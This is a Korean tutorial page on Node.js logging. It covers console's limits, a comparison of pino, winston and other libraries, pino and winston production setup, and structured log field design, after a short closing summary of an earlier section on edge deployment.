이 프로젝트가 엣지에 잘 맞는 이유 — ① 요청 하나에 DB 왕복이 0~1번(대부분 KV 히트), ② 계산이 거의 없음(문자열 조회와 리다이렉트), ③ 사용자가 전 세계에 흩어져 있음. g01 의 세 질문에 전부 “엣지”가 나오는 형태입니다.
반대로 안 맞는 예 — 같은 구조라도 PDF 를 만들어 주는 API 라면 CPU 시간 때문에 엣지가 불리하고, 주문·결제처럼 대화형 트랜잭션이 필요한 서비스라면 DB 옆 컨테이너가 훨씬 단순합니다. “엣지가 낫다”가 아니라 “이 워크로드가 엣지에 맞는다”로 판단하세요.
정리 — 이 프로젝트 하나에 이 탭의 전부가 들어 있습니다. Hono 라우팅 · Zod 검증 · JWT · Drizzle + D1 · KV 캐시 · waitUntil · RPC 타입 공유 · Workers 배포. 특히 기억할 두 줄은 “캐시 무효화는 쓰기와 같은 함수 안에” 와 “응답 뒤 작업은 waitUntil 에” 입니다 — 엣지에서 가장 자주 나는 사고 두 가지입니다.
NODE 24 LTS · pino · winston · 구조적 로깅 · OpenTelemetry · 2026-08 기준

로그는 글이 아니라
검색되는
데이터입니다

장애가 났을 때 우리가 가진 것은 로그뿐입니다. 그런데 대부분의 Node 프로젝트는 console.log 로 시작해서 그대로 운영에 나갑니다 — 레벨도, 시각도, 요청 ID 도 없이. 이 탭은 왜 console 로는 부족한지부터 시작해 pino · winston · debug · consola 같은 라이브러리를 무엇을 보고 고르는지, JSON 한 줄에 어떤 필드를 넣는지, 요청 ID 를 어떻게 자동으로 붙이는지, 토큰이 로그로 새지 않게 막는 법, 그리고 그 줄이 stdout 을 떠나 대시보드에 닿기까지를 잇습니다. 끝나면 “로그를 왜 그렇게 찍었냐”는 질문에 설계로 답할 수 있게 됩니다.

12SECTIONS
8라이브러리 비교
24Node LTS 기준
0사전 지식
LOG 01

console.* 의 진실 — 어디로 나가고, 왜 부족한가

console.log 는 로거가 아닙니다. 파일 서술자에 문자열을 쓰는 편의 함수입니다. 그 사실 하나만 알아도 “왜 운영에서는 다른 걸 쓰나”가 절반은 설명됩니다.

console.log 한 줄이 나가는 길 — Node 는 파일 서술자에 그냥 씁니다 console.log(...) fd 1 · stdout console.error(...) fd 2 · stderr util.format · inspect 객체를 사람이 읽는 문자열로 바꿉니다 — 이 비용이 큽니다 TTY · 터미널 POSIX 동기 · Windows 비동기 파이프 · 소켓 Linux·Windows 동기 · macOS 비동기 파일 어디서나 동기 — 루프가 멈춥니다 console 은 로거가 아닙니다 레벨 없음 · 시각 없음 · 구조 없음 · 요청 ID 없음 — 검색도 필터도 알림도 붙일 수 없습니다 운영 로그는 사람이 읽는 줄이 아니라 기계가 검색하는 레코드여야 합니다
console 은 fd 에 문자열을 쓰는 편의 함수입니다 — 목적지에 따라 동기 쓰기가 됩니다.

console 이 실제로 하는 일

// Node 의 console 은 stdout/stderr 를 감싼 얇은 껍데기입니다.
// 대략 이런 모양이라고 생각하면 정확합니다.
const { format } = require('node:util');

console.log   = (...a) => process.stdout.write(format(...a) + '\n');  // fd 1
console.error = (...a) => process.stderr.write(format(...a) + '\n');  // fd 2
console.warn  = console.error;   // ★ warn 도 stderr 입니다 (자주 놓칩니다)
console.info  = console.log;
console.debug = console.log;     // ★ 이름만 debug — 끄는 스위치가 없습니다

// 객체를 넘기면 util.inspect 가 돕니다 — 순환 참조는 [Circular *1] 로,
// getter 는 부르지 않고 [Getter] 로 적고, TTY 면 색 코드를 붙이고, 깊이 2까지 펼칩니다.
console.log({ user: { id: 1, roles: ['admin'] } });
// → { user: { id: 1, roles: [ 'admin' ] } }   ← JSON 이 아닙니다. 파싱 못 합니다
가장 자주 물리는 것 — console.warn 과 console.error 는 stderr 로 갑니다. node app.js > app.log 로 리다이렉트하면 경고와 에러만 화면에 남고 파일에는 안 들어갑니다. 둘 다 모으려면 node app.js > app.log 2>&1 이라고 써야 합니다.

쓰기가 동기인가 비동기인가 — 목적지가 정합니다

목적지POSIX(리눅스·맥)Windows
파일동기동기
TTY(터미널)동기비동기
파이프 · 소켓리눅스 동기 / 맥 비동기동기
왜 이게 문제인가 — 동기라는 말은 write(2) 시스템 콜이 끝날 때까지 이벤트 루프가 멈춘다는 뜻입니다. 초당 수천 줄을 찍는 서버에서 console.log 는 조용한 성능 사고가 됩니다. node app.js > app.log 처럼 파일로 돌려 놓으면 더 나빠집니다.
확인해 보기 — node -e "console.log(process.stdout.isTTY)" 를 그냥 실행할 때와 | cat 을 붙였을 때 각각 돌려 보세요. 같은 코드가 환경에 따라 다르게 동작합니다.

한 단계 더 — 브라우저의 console 은 또 다릅니다 🟡 중급

브라우저에서 벌어지는 세 가지

// ① 객체는 "지연 평가"됩니다 — 펼칠 때의 값이 보입니다
const cart = { items: [] };
console.log(cart);          // devtools 에서 펼치면 items 가 3개일 수 있습니다
cart.items.push(1, 2, 3);   // 로그를 찍은 뒤에 바뀐 것인데도

// ② 콘솔에 남긴 객체는 GC 대상에서 빠집니다 (devtools 가 참조를 잡습니다)
//    루프에서 큰 객체를 찍으면 탭 메모리가 계속 오릅니다
for (const row of hugeRows) console.log(row);   // ← 개발 중에도 위험

// ③ 스냅샷이 필요하면 그 자리에서 굳힙니다
console.log(structuredClone(cart));             // 또는 JSON.parse(JSON.stringify(x))
“로그를 찍었는데 값이 이상해요” 의 90%가 ①입니다. 브라우저 콘솔은 찍는 순간의 문자열이 아니라 객체 참조를 보관합니다. Node 는 util.inspect 가 그 자리에서 문자열로 굳히므로 이 문제가 없습니다.

배포물에서 console 을 지우는 세 가지 방법

// ① 번들러가 통째로 들어내기 — 가장 확실합니다
// vite.config.ts
export default defineConfig(({ command }) => ({
  // esbuild 옵션은 dev 에도 적용되므로, build 일 때만 지웁니다
  esbuild: { drop: command === 'build' ? ['console', 'debugger'] : [] },
}));

// ② terser 로 특정 함수만 남기기
// { compress: { pure_funcs: ['console.log', 'console.debug'] } }
//   → console.error 는 남기고 log/debug 만 지웁니다

// ③ 애초에 못 쓰게 막기 — eslint
// eslint.config.js
export default [{
  rules: { 'no-console': ['error', { allow: ['error', 'warn'] }] },
}];
지우는 게 늘 정답은 아닙니다 — 브라우저에서 Sentry 를 쓰면 console.* 호출이 breadcrumb(사고 직전 발자국) 으로 자동 수집됩니다(lg11). 그때는 지우지 말고 내용만 안전하게 만드는 편이 낫습니다.

실무에선 이렇게 — console 을 그냥 써도 되는 자리 🔴 실무

console 로 충분한 곳
  • 일회성 스크립트 — 마이그레이션, 데이터 보정
  • CLI 도구의 사용자 출력 — 사람에게 보여 주는 글 (이건 로그가 아니라 UI 입니다)
  • 테스트 중 임시 확인 — 커밋 전에 지우면 됩니다
  • 부팅 직전 한 줄 — 로거를 만들기 전에 죽었을 때의 최후 수단
console 이면 사고가 나는 곳
  • 요청 처리 경로 — 초당 수천 번, 동기 쓰기
  • 레벨을 끄고 싶은 곳 — console.debug 는 끌 방법이 없습니다
  • 검색해야 하는 곳 — 구조가 없으니 grep 밖에 못 씁니다
  • 여러 요청이 섞이는 곳 — 어느 줄이 어느 요청인지 알 수 없습니다
정리하면 기준은 하나입니다 — “이 줄을 나중에 누가 검색할 것인가?” 사람이 지금 눈으로 볼 뿐이면 console 로 충분하고, 나중에 누군가가 조건을 걸어 찾아야 한다면 그건 로거의 일입니다.
정리 — console 은 fd 1·2 에 문자열을 쓰는 편의 함수입니다. 목적지가 파일이면 동기 쓰기라 이벤트 루프가 멈추고, 레벨·시각·구조·요청 ID 가 없어 검색할 수 없는 글이 남습니다. 운영 로그는 처음부터 레코드로 만들어야 합니다.
LOG 02

라이브러리 지형도 — 여덟 개를 한 장에 놓고 고릅니다

JS 로깅 라이브러리는 “빠른 JSON 계열” 과 “예쁜 콘솔 계열” 로 갈립니다. 둘은 목적이 다르고, 섞어 쓰면 둘 다 손해입니다. 무엇이 어느 쪽인지부터 봅시다.

여덟 개를 여섯 기준으로 — 진할수록 강합니다 (0 없음 ~ 5 최상) 성능 구조 JSON 트랜스포트 브라우저 TS 타입 유지보수 pino 5 5 4 2 4 5 winston 2 4 5 1 3 4 bunyan 3 5 2 1 1 0 roarr 4 5 2 4 4 3 debug 3 0 0 4 2 3 tslog 2 3 1 3 5 4 consola 3 2 2 4 4 5 signale 2 0 0 1 2 0 없음 최상 — 색은 훑어보기용, 숫자는 확인용입니다 한 가지 색의 명도만 씁니다 — 무지개로 칠하면 크기 순서가 사라집니다 이 점수는 제가 정리한 상대 평가입니다 — 최신 상태는 npm trends 로 직접 보세요
히트맵 — 빈 칸이 결론입니다. debug 의 “구조 0”, bunyan·signale 의 “유지보수 0”.

빠른 JSON 계열 — 서버가 쓰는 것

이름한 줄 요약고르는 순간
pinoJSON 을 문자열로 바로 만들고 워커 스레드로 내보냄. 사실상 표준Node 백엔드라면 기본값
winston포맷·트랜스포트 조립식. 느리지만 붙일 곳이 많음이상한 곳으로 직접 보내야 할 때
bunyan구조적 JSON 로깅의 원조. 지금은 사실상 멈춘 프로젝트신규 채택 금지 · 레거시만
roarr“항상 찍고 CLI 에서 거른다”. 라이브러리 안에서 쓰기 좋음내가 만든 패키지에 로그를 넣을 때
서버라면 고민 순서는 짧습니다 — Fastify 면 이미 pino, Express·Nest 면 pino 를 붙이고, winston 은 “pino 로 못 하는 게 있을 때”만 꺼냅니다. bunyan 은 옛 코드에서 만나면 pino 로 옮길 대상입니다(필드 이름이 거의 같습니다).

예쁜 콘솔 계열 — 사람이 읽는 것

이름한 줄 요약고르는 순간
debugDEBUG=app:* 네임스페이스 스위치. 로거가 아니라 추적 스위치라이브러리 내부 추적
consolaUnJS·Nuxt 계열. 상자·스피너·프롬프트까지CLI 도구 · 빌드 스크립트
tslogTypeScript 우선. 스택 추적과 코드 프레임이 예쁨작은 TS 서비스 · 학습용
signale예쁜 스코프 출력의 원조. 사실상 멈춤consola 로 대체하세요
섞어 쓰면 둘 다 손해입니다 — 예쁜 계열은 색 코드와 정렬이 목적이라 그대로 운영에 나가면 파싱이 안 되는 줄이 됩니다. 반대로 pino 의 JSON 을 개발 중에 눈으로 읽으면 괴롭습니다 — 그건 pino-pretty 를 파이프로 붙여 해결합니다(lg03).

숫자를 볼 때 — 채택 정도를 정직하게 읽는 법 🟡 중급

자릿수만 기억하세요 (2026년 8월 기준 대략)

패키지주간 내려받기 자릿수그 숫자의 의미
debug억 단위express·socket.io 등이 의존해서 딸려 옵니다. 인기가 아니라 전이 의존
winston천만 단위오래 쌓인 기존 프로젝트가 많습니다
pino천만 단위Fastify·NestJS 쪽에서 계속 오르는 중
consola백만~천만 단위Nuxt·unbuild 빌드 도구 의존이 대부분
bunyan백만 단위거의 전부 오래된 의존성. 새 채택은 드묾
tslog · roarr십만 단위특정 상황에서만 고릅니다
signale만 단위 · 감소신규 채택은 사실상 없습니다
정확한 수치를 외우지 마세요 — 몇 달이면 틀립니다. 게다가 내려받기 수는 인기가 아니라 의존 그래프를 보여 줍니다. debug 가 pino 보다 열 배 많이 받아진다고 해서 “열 배 좋은 로거”가 아닙니다 — 애초에 같은 종류가 아닙니다.

직접 확인하는 세 가지 방법

# ① 지금 이 순간의 최신 버전 · 배포일 · 의존성
npm view pino version time.modified dependencies

# ② 최근 릴리스 흐름 — 유지보수가 살아 있는지 보는 가장 빠른 신호
npm view winston versions --json | tail -n 12
npm view bunyan time --json | tail -n 6      # 마지막 배포가 언제인지

# ③ 설치했을 때 실제로 들어오는 무게
npm i -D pino winston
du -sh node_modules/pino node_modules/winston

# ④ 추세 비교는 웹에서 (숫자를 옮겨 적지 말고 그때그때 보세요)
#    https://npmtrends.com/pino-vs-winston-vs-bunyan-vs-tslog
#    GitHub 저장소의 최근 커밋 · 열린 이슈 수 · 릴리스 간격
“살아 있는가”를 재는 실용 지표 셋 — ① 마지막 배포가 12개월 안인가 ② Node 최신 LTS 에서 테스트가 도는가 ③ 보안 권고가 며칠 만에 닫히는가. 이 셋이면 별 개수보다 훨씬 정확합니다.

실무에선 이렇게 — 고르는 결정표 🔴 실무

상황고를 것이유
Express·Nest 로 만든 API 서버pino구조적 JSON + 워커 트랜스포트. pino-http·nestjs-pino 로 5분이면 붙습니다
Fastify내장 pino이미 들어 있습니다. logger:true 한 줄
여러 파일·SMTP·Slack 으로 직접 보내야 함winston트랜스포트가 가장 많습니다. 다만 수집기에 맡기는 편이 대개 낫습니다(lg12)
내가 npm 에 배포하는 라이브러리debug 또는 roarr쓰는 쪽에 로거 설정을 강요하지 않습니다. 기본은 꺼져 있어야 합니다
CLI 도구 · 빌드 스크립트consola사람이 읽는 출력이 목적입니다. JSON 이 필요 없습니다
브라우저 앱Sentry + 얇은 래퍼브라우저에는 “로그 파일”이 없습니다(lg11)
Next.js 엣지 런타임구조를 맞춘 console워커 스레드·fs 가 없어 pino 트랜스포트가 못 돕니다(lg06)
옛 bunyan 코드pino 로 이전필드 규약이 거의 같아 이전 비용이 낮습니다
정리 — 서버는 pino, 트랜스포트 조립이 필요하면 winston, 라이브러리 안은 debug/roarr, CLI 는 consola. bunyan·signale 은 신규 채택하지 않습니다. 숫자는 자릿수만 기억하고, 판단은 마지막 배포일로 하세요.
LOG 03

pino 실전 — 왜 빠르고, 무엇을 워커에게 넘기나

pino 가 빠른 이유는 마법이 아니라 안 하는 일이 많아서입니다. 메인 스레드에서는 문자열을 만들어 버퍼에 넣는 것까지만 하고, 나머지는 전부 워커 스레드로 넘깁니다.

pino 의 한 줄 — 메인 스레드는 거의 아무 일도 하지 않습니다 메인 스레드 워커 스레드 바깥 logger.info(obj) 레벨 확인 JSON 한 줄 조립 버퍼에 append thread-stream — 워커 스레드가 포매팅과 전송을 대신합니다 stdout (컨테이너) app.log 파일 수집기 · 원격 메인 스레드가 하는 일은 문자열을 만들어 버퍼에 넣는 것뿐입니다 — 그래서 빠릅니다 pino-pretty 를 앱 안에서 돌리면 이 그림이 무너집니다 — 개발용 파이프로만 쓰세요
스윔레인 — 줄을 넘어가는 화살표가 곧 스레드가 바뀌는 지점입니다.

5분 시작 — 이 설정이 대부분의 정답입니다

npm i pino
npm i -D pino-pretty          # ★ 개발 의존성입니다. 운영 번들에 넣지 마세요
// src/logger.ts
import pino from 'pino';

export const logger = pino({
  level: process.env.LOG_LEVEL ?? 'info',

  // ① 레벨을 숫자(30) 대신 문자열("info")로 — 수집기 쿼리가 훨씬 편합니다
  formatters: {
    level: (label) => ({ level: label }),
  },

  // ② 시각을 ISO 문자열로. 기본은 epoch 밀리초(빠르지만 사람이 못 읽습니다)
  timestamp: pino.stdTimeFunctions.isoTime,

  // ③ 모든 줄에 붙는 고정 필드 — 어느 서비스의 어느 배포인지
  base: {
    service: 'checkout-api',
    env: process.env.NODE_ENV,
    version: process.env.GIT_SHA?.slice(0, 7),
  },

  // ④ 지울 것은 처음부터 지웁니다 (lg10 에서 자세히)
  redact: ['req.headers.authorization', 'req.headers.cookie', '*.password'],
});

logger.info({ orderId: 8821, ms: 37 }, 'order paid');
// {"level":"info","time":"2026-08-14T09:12:03.421Z","service":"checkout-api",
//  "env":"production","orderId":8821,"ms":37,"msg":"order paid"}
인자 순서를 외우세요 — logger.info(객체, 메시지) 입니다. 객체가 먼저입니다. logger.info('주문 ' + id) 처럼 문자열을 조립하면 검색할 수 있는 필드가 사라집니다. 메시지는 고정 문구로 두고 값은 객체에 넣으세요.

왜 빠른가 — 안 하는 일 다섯 가지

보통의 로거pino
util.inspect 로 예쁘게안 함 — JSON 문자열을 바로 만듭니다
중간 객체를 여러 번 변환안 함 — 한 번에 문자열로 이어 붙입니다
매 호출마다 레벨 비교레벨별 함수를 미리 만들어 둡니다. 꺼진 레벨은 빈 함수
고정 필드를 매번 직렬화자식 로거의 고정 필드는 한 번만 문자열로 굳혀 둡니다
포맷·전송을 그 자리에서워커 스레드로 넘깁니다(pino.transport)
핵심은 “문자열 조립”입니다 — pino 가 만드는 건 처음부터 끝까지 한 줄짜리 문자열입니다. 중간에 자바스크립트 객체를 만들지 않으니 GC 가 할 일도 없습니다. 이게 벤치마크에서 자릿수 차이를 만드는 부분입니다.
단, 인자는 여전히 평가됩니다 — logger.debug(`무거운 ${expensive()}`) 는 debug 가 꺼져 있어도 expensive() 가 실행됩니다. 템플릿 문자열 대신 logger.debug({ data }, '...') 로 넘기거나 if (logger.isLevelEnabled('debug')) 로 감싸세요.

자식 로거 — 문맥을 한 번만 붙이는 법 🟡 중급

logger.child() — pino 를 쓰는 진짜 이유

// 요청마다 자식 로거를 하나 만들어 두면
// 그 아래 모든 줄에 reqId 가 자동으로 붙습니다.
const reqLog = logger.child({ reqId: 'req_01J8Q', userId: 'u_8821' });

reqLog.info('handler start');
reqLog.debug({ sql: 'select ...' }, 'db query');
reqLog.info({ ms: 37 }, 'handler done');
// 세 줄 모두 reqId · userId 를 갖습니다

// 자식의 자식도 됩니다 — 계층이 쌓입니다
const dbLog = reqLog.child({ component: 'db', pool: 'primary' });

// ★ 자식 로거는 "만드는 순간" 고정 필드를 문자열로 굳혀 둡니다.
//    그래서 줄마다 다시 직렬화하지 않습니다 — 거의 공짜입니다.
//    반대로 값이 매 줄 달라지는 것은 child 가 아니라 인자로 넘기세요.
reqLog.info({ ms: Date.now() - t0 }, 'done');   // ○ 인자
logger.child({ ms: ... });                       // ✗ 매번 child 를 만들면 낭비
자식 로거를 어떻게 함수 안까지 전달하나 — 인자로 계속 넘기는 건 금방 지칩니다. AsyncLocalStorage 로 “지금 처리 중인 요청”을 들고 다니는 방법을 lg07 에서 통째로 다룹니다. 실무에서 가장 많이 쓰는 패턴입니다.

에러를 제대로 남기기 — err 라는 이름

try {
  await pay(order);
} catch (err) {
  // ★ 키 이름을 err 로 두면 pino 의 표준 직렬화기가 붙습니다
  //   → type · message · stack · code 를 펼쳐 줍니다
  reqLog.error({ err, orderId: order.id }, 'payment failed');
}

// ✗ 이렇게 하면 대부분 "{}" 만 남습니다
//   Error 는 열거 가능한 속성이 없어서 JSON.stringify 가 비웁니다
reqLog.error({ error: err });          // 키 이름이 err 가 아님
reqLog.error(JSON.stringify(err));     // → "{}"
reqLog.error(err.message);             // 스택이 사라짐

// 원인 사슬(cause)까지 남기려면
throw new Error('checkout failed', { cause: err });   // Node 16.9+
// pino 는 err.cause 도 따라 내려가며 직렬화합니다
실무에서 가장 많이 보는 로그 사고가 “에러를 찍었는데 스택이 없다”입니다. 원인은 거의 항상 위 세 가지 중 하나입니다. { err } 라는 키 이름 하나만 지켜도 절반은 해결됩니다.

트랜스포트 — 개발과 운영을 갈라 놓기 🔴 실무

개발: 파이프로 예쁘게, 운영: 그냥 stdout

# ★ 권장 — 별도 프로세스로 파이프. 앱은 JSON 만 뱉습니다
node dist/app.js | npx pino-pretty

# package.json
# "scripts": {
#   "dev":   "tsx watch src/main.ts | pino-pretty --colorize --translateTime SYS:HH:MM:ss",
#   "start": "node dist/main.js"          ← 운영은 아무것도 붙이지 않습니다
# }

# 운영에서 굳이 파일이 필요하면 (컨테이너가 아닐 때만)
node dist/app.js >> /var/log/app/app.log 2>&1
// 앱 안에서 붙여야 한다면 transport 로 — 워커 스레드에서 돕니다
const logger = pino({
  transport: process.env.NODE_ENV === 'production'
    ? undefined                                  // 운영: stdout 그대로가 가장 빠릅니다
    : { target: 'pino-pretty', options: { colorize: true } },
});

// 여러 목적지로 동시에 (각각 별도 워커)
const multi = pino({
  transport: {
    targets: [
      { target: 'pino/file',   level: 'info',  options: { destination: 1 } },  // 1 = stdout
      { target: 'pino/file',   level: 'error', options: { destination: './error.log' } },
    ],
  },
});
pino-pretty 를 운영에 절대 넣지 마세요 — 색 코드와 정렬을 만드느라 pino 의 장점을 전부 되돌립니다. 게다가 결과물이 JSON 이 아니어서 수집기가 필드를 못 읽습니다. 예쁜 출력은 사람이 보는 개발 화면에서만.

비동기 버퍼와 “죽을 때 마지막 줄”

// pino 는 기본적으로 버퍼에 모았다가 씁니다(sonic-boom).
// 빠른 대신, 프로세스가 갑자기 죽으면 버퍼가 날아갑니다.

import pino from 'pino';
const dest = pino.destination({ sync: false });   // 기본값
const logger = pino(dest);

// ★ 종료 직전에 반드시 비웁니다
const flushAndExit = (code: number) => {
  logger.flush(() => process.exit(code));   // 버퍼를 다 밀어낸 뒤 종료
};                                          // (버퍼가 비어 있으면 'drain' 은 안 옵니다 — 콜백으로)

process.on('SIGTERM', () => flushAndExit(0));     // k8s 가 보내는 신호
process.on('SIGINT',  () => flushAndExit(0));

// 잡히지 않은 예외 — 예전 문서의 pino.final 은 지금 pino 에 없습니다.
// fatal 은 항상 동기로 flush 하므로 찍고 바로 나가면 됩니다
process.on('uncaughtException', (err) => {
  logger.fatal({ err }, 'uncaught exception');
  process.exit(1);
});
sync: true 는 언제 쓰나 — 짧은 CLI·배치·람다처럼 “끝나면 바로 죽는” 프로그램입니다. 이때는 버퍼가 날아가는 위험이 손해보다 큽니다. 장시간 도는 서버라면 절대 켜지 마세요 — 매 줄이 동기 write 가 됩니다(lg09).
운영 pino 체크리스트 여섯 줄 — ① level 을 환경변수로 ② base 에 service·env·version ③ redact 로 헤더·비밀번호 ④ err 키로 에러 ⑤ 요청마다 child({ reqId }) ⑥ SIGTERM 에서 flush. 여기까지가 “설정 끝”입니다. 나머지는 수집기가 합니다.
정리 — pino 는 메인 스레드에서 문자열만 만들고 나머지를 워커에 넘겨 빠릅니다. 자식 로거로 문맥을 한 번만 붙이고, 에러는 err 키로 넘기고, pino-pretty 는 개발 파이프로만 씁니다.
LOG 04

winston 실전 — 조립식의 값과 값어치

winston 은 포맷과 목적지를 레고처럼 조립하는 로거입니다. 그 유연함이 장점이자 비용입니다. pino 로 안 되는 것이 있을 때만 꺼내는 편이 좋습니다 — 그 “있을 때”가 언제인지 봅시다.

winston 은 포맷을 이어 붙인 뒤 여러 목적지로 나눕니다 logger.info info 객체 timestamp() 시각 추가 errors() 스택 펼치기 json() 문자열로 Console File · 회전 Http · Slack 여기까지가 format 파이프라인 — 단계마다 객체를 새로 만듭니다 유연함의 값은 객체 할당입니다 — pino 는 이 구간이 통째로 없습니다 셰브론은 되돌아가지 않는다는 뜻을 도형이 대신 말해 줍니다
파이프라인 — 단계 수가 곧 비용. 대신 목적지를 마음대로 붙일 수 있습니다.

기본 설정 — 운영에서 쓸 만한 모양

npm i winston winston-daily-rotate-file
import winston from 'winston';
import 'winston-daily-rotate-file';

const { combine, timestamp, errors, json, colorize, printf } = winston.format;

export const logger = winston.createLogger({
  level: process.env.LOG_LEVEL ?? 'info',
  defaultMeta: { service: 'checkout-api', env: process.env.NODE_ENV },

  format: combine(
    errors({ stack: true }),          // ★ 반드시 json() 앞에. 없으면 스택이 사라집니다
    timestamp(),
    json(),
  ),

  transports: [
    new winston.transports.Console(),
    new winston.transports.DailyRotateFile({
      filename: 'logs/app-%DATE%.log',
      datePattern: 'YYYY-MM-DD',
      maxSize: '50m',
      maxFiles: '14d',                // 14일치만 남기고 지웁니다
      zippedArchive: true,
    }),
  ],

  // 죽을 때의 마지막 줄
  exceptionHandlers: [new winston.transports.File({ filename: 'logs/exceptions.log' })],
  rejectionHandlers: [new winston.transports.File({ filename: 'logs/rejections.log' })],
});

// 개발에서는 사람이 읽는 포맷으로 갈아 끼웁니다
if (process.env.NODE_ENV !== 'production') {
  logger.clear();
  logger.add(new winston.transports.Console({
    format: combine(colorize(), timestamp({ format: 'HH:mm:ss' }),
      printf(({ level, message, timestamp, ...rest }) =>
        `${timestamp} ${level} ${message} ${Object.keys(rest).length ? JSON.stringify(rest) : ''}`)),
  }));
}
순서가 결과를 바꿉니다 — errors({ stack: true }) 를 json() 뒤에 두면 이미 문자열이 된 뒤라 아무 일도 안 합니다. combine 은 위에서 아래로 순서대로 적용됩니다.

winston 의 레벨은 숫자가 반대입니다

winston (npm 레벨)pino
error = 0fatal = 60
warn = 1error = 50
info = 2warn = 40
http = 3info = 30
verbose = 4debug = 20
debug = 5trace = 10
silly = 6—
winston 은 작을수록 심각하고 pino 는 클수록 심각합니다. 둘 다 “level 로 지정한 것과 그보다 심각한 것을 남긴다”는 뜻은 같습니다. 대시보드에서 level >= 50 같은 조건을 쓸 때 반대로 걸리기 쉬우니 레벨은 문자열로 출력해 두는 편이 안전합니다.
winston 에도 자식 로거가 있습니다 — const reqLog = logger.child({ reqId }). 다만 pino 처럼 고정 필드를 미리 굳혀 두지는 않아서 비용 절감 효과는 없고 편의 기능에 가깝습니다.

그래서 언제 winston 인가 🟡 중급

winston 이 맞는 상황
  • 수집기가 없는 환경 — 온프레미스 VM 에 직접 파일을 쓰고 회전시켜야 할 때
  • 목적지가 여럿이고 규칙이 다를 때 — error 는 Slack, 나머지는 파일, 감사 로그는 DB
  • 이미 winston 으로 돌고 있고 지금 병목이 로깅이 아닐 때 (바꾸는 게 손해)
  • 레벨을 커스텀해야 할 때 — audit · security 같은 자체 레벨 정의가 쉽습니다
winston 이면 후회하는 상황
  • 초당 수천 줄 이상 — 포맷 체인의 객체 할당이 그대로 지연이 됩니다
  • 컨테이너 · 쿠버네티스 — 파일 트랜스포트가 오히려 짐이 됩니다(lg12)
  • Fastify — 내장 pino 를 떼어 내고 winston 을 넣는 건 손해입니다
  • 원격 트랜스포트로 직접 전송 — 네트워크가 느려지면 앱이 같이 느려집니다

실무에선 이렇게 — winston 에서 pino 로 옮기기 🔴 실무

인터페이스를 먼저 좁히면 교체가 하루 일이 됩니다

// src/log.ts — 앱 코드는 이 타입만 압니다
export interface AppLogger {
  debug(fields: Record<string, unknown>, msg: string): void;
  info (fields: Record<string, unknown>, msg: string): void;
  warn (fields: Record<string, unknown>, msg: string): void;
  error(fields: Record<string, unknown>, msg: string): void;
  child(fields: Record<string, unknown>): AppLogger;
}

// winston 구현 — 인자 순서를 pino 쪽에 맞춰 뒤집어 줍니다
const wrapWinston = (w: winston.Logger): AppLogger => ({
  debug: (f, m) => w.debug(m, f),
  info:  (f, m) => w.info(m, f),
  warn:  (f, m) => w.warn(m, f),
  error: (f, m) => w.error(m, f),
  child: (f) => wrapWinston(w.child(f)),
});

// pino 는 그대로 이 모양입니다 — 나중에 한 줄만 바꾸면 됩니다
// export const log: AppLogger = pino({ ... });
이전 순서 — ① 위처럼 얇은 인터페이스를 만들어 앱 전체를 거기에 붙입니다 ② 필드 이름을 양쪽이 같게 맞춥니다(level·time·msg) ③ 스테이징에서 둘 다 켜고 대시보드 쿼리가 똑같이 나오는지 확인 ④ 운영에서 스위치. “한 번에 다 바꾸기”가 실패하는 이유는 대개 ②를 건너뛰기 때문입니다.
파일 회전을 앱이 하지 마세요 — winston-daily-rotate-file 은 편하지만 여러 프로세스가 같은 파일을 회전시키면 로그가 섞이거나 사라집니다(PM2 클러스터에서 자주 봅니다). 회전은 logrotate 나 컨테이너 런타임에 맡기는 것이 안전합니다.
정리 — winston 은 목적지를 조립하려고 씁니다. 그 유연함의 값은 단계마다 만드는 객체입니다. 수집기가 있는 환경이라면 pino + stdout 이 거의 항상 더 낫고, winston 은 수집기가 없을 때의 답입니다.
LOG 05

구조적 로깅 — 필드 설계가 나중의 검색을 정합니다

로그를 JSON 으로 찍는 이유는 예뻐서가 아닙니다. 필드가 곧 검색어이기 때문입니다. 문장 안에 값을 숨기면 그 값으로는 영원히 검색이 안 됩니다. 무엇을 필드로 뺄지가 전부입니다.

로그 한 줄 해부 — 이 필드들이 나중에 대시보드의 검색어가 됩니다 { "level": "info", "time": "2026-08-14T09:12:03Z", "msg": "order paid", "service": "checkout-api", "env": "prod", "reqId": "01J8QK4T9", "traceId": "4bf92f35...4736", "userId": "u_8821", "durationMs": 37 } level · time · msg — 최소 규약 세 개 service · env · version — 어디서 나온 줄인가 reqId — 요청 하나를 잇는 열쇠 (lg07) traceId — 분산 추적과 잇는 자리 (lg12) 값은 타입 그대로 — 숫자를 문자열로 넣지 마세요 필드 이름은 팀에서 한 번만 정합니다 — reqId 와 requestId 를 섞으면 못 찾습니다 문장 안에 값을 숨기면 그 값으로는 영원히 검색이 안 됩니다
해부도 — 필드가 곧 검색어입니다. 이름을 정하는 회의가 대시보드를 정합니다.

같은 사건을 두 가지로 찍어 보기

// ✗ 문장에 값을 녹인 로그 — 사람만 읽을 수 있습니다
log.info(`user u_8821 paid order 8821 in 37ms`);
//  · "37ms 이상 걸린 결제"를 찾으려면 정규식을 짜야 합니다
//  · 평균 소요 시간을 못 구합니다 (숫자가 아니니까)
//  · 문구를 바꾸는 순간 기존 대시보드가 전부 깨집니다

// ○ 구조적 로그 — 기계가 읽습니다
log.info({ userId: 'u_8821', orderId: 8821, durationMs: 37 }, 'order paid');
//  · durationMs > 37  같은 조건이 그대로 쿼리가 됩니다
//  · msg 는 고정 문구 — 이걸로 사건 종류를 셉니다
//  · 나중에 필드를 더해도 기존 쿼리가 안 깨집니다

// ★ 한 걸음 더 — 사건에 이름(event)을 붙이면 문구가 바뀌어도 안전합니다
log.info({ event: 'order.paid', orderId: 8821, durationMs: 37 }, 'order paid');
//    msg 는 사람용, event 는 기계용. 대시보드는 event 로 겁니다
규칙 하나만 기억하면 됩니다 — “나중에 이 값으로 필터를 걸 것 같다” 싶으면 필드로 뺍니다. 메시지는 변하지 않는 짧은 문구로 두세요. 문구를 바꾸는 건 공짜가 아닙니다.

이름 규약 — 세 진영과 그 사이

뜻pino 기본ECS(Elastic)OTel
시각time@timestampTimestamp
레벨levellog.levelSeverityText
본문msgmessageBody
서비스base.serviceservice.nameservice.name
추적직접 넣음trace.idTraceId
에러errerror.stack_traceexception.*
어느 규약을 따라야 하나 — 대시보드가 정합니다. OpenSearch·Elastic 을 쓰면 ECS(@elastic/ecs-pino-format 한 줄이면 맞춰집니다), Grafana Loki 나 자체 파이프라인이면 pino 기본형으로 충분합니다. 중요한 건 일관성이지 특정 표준이 아닙니다.
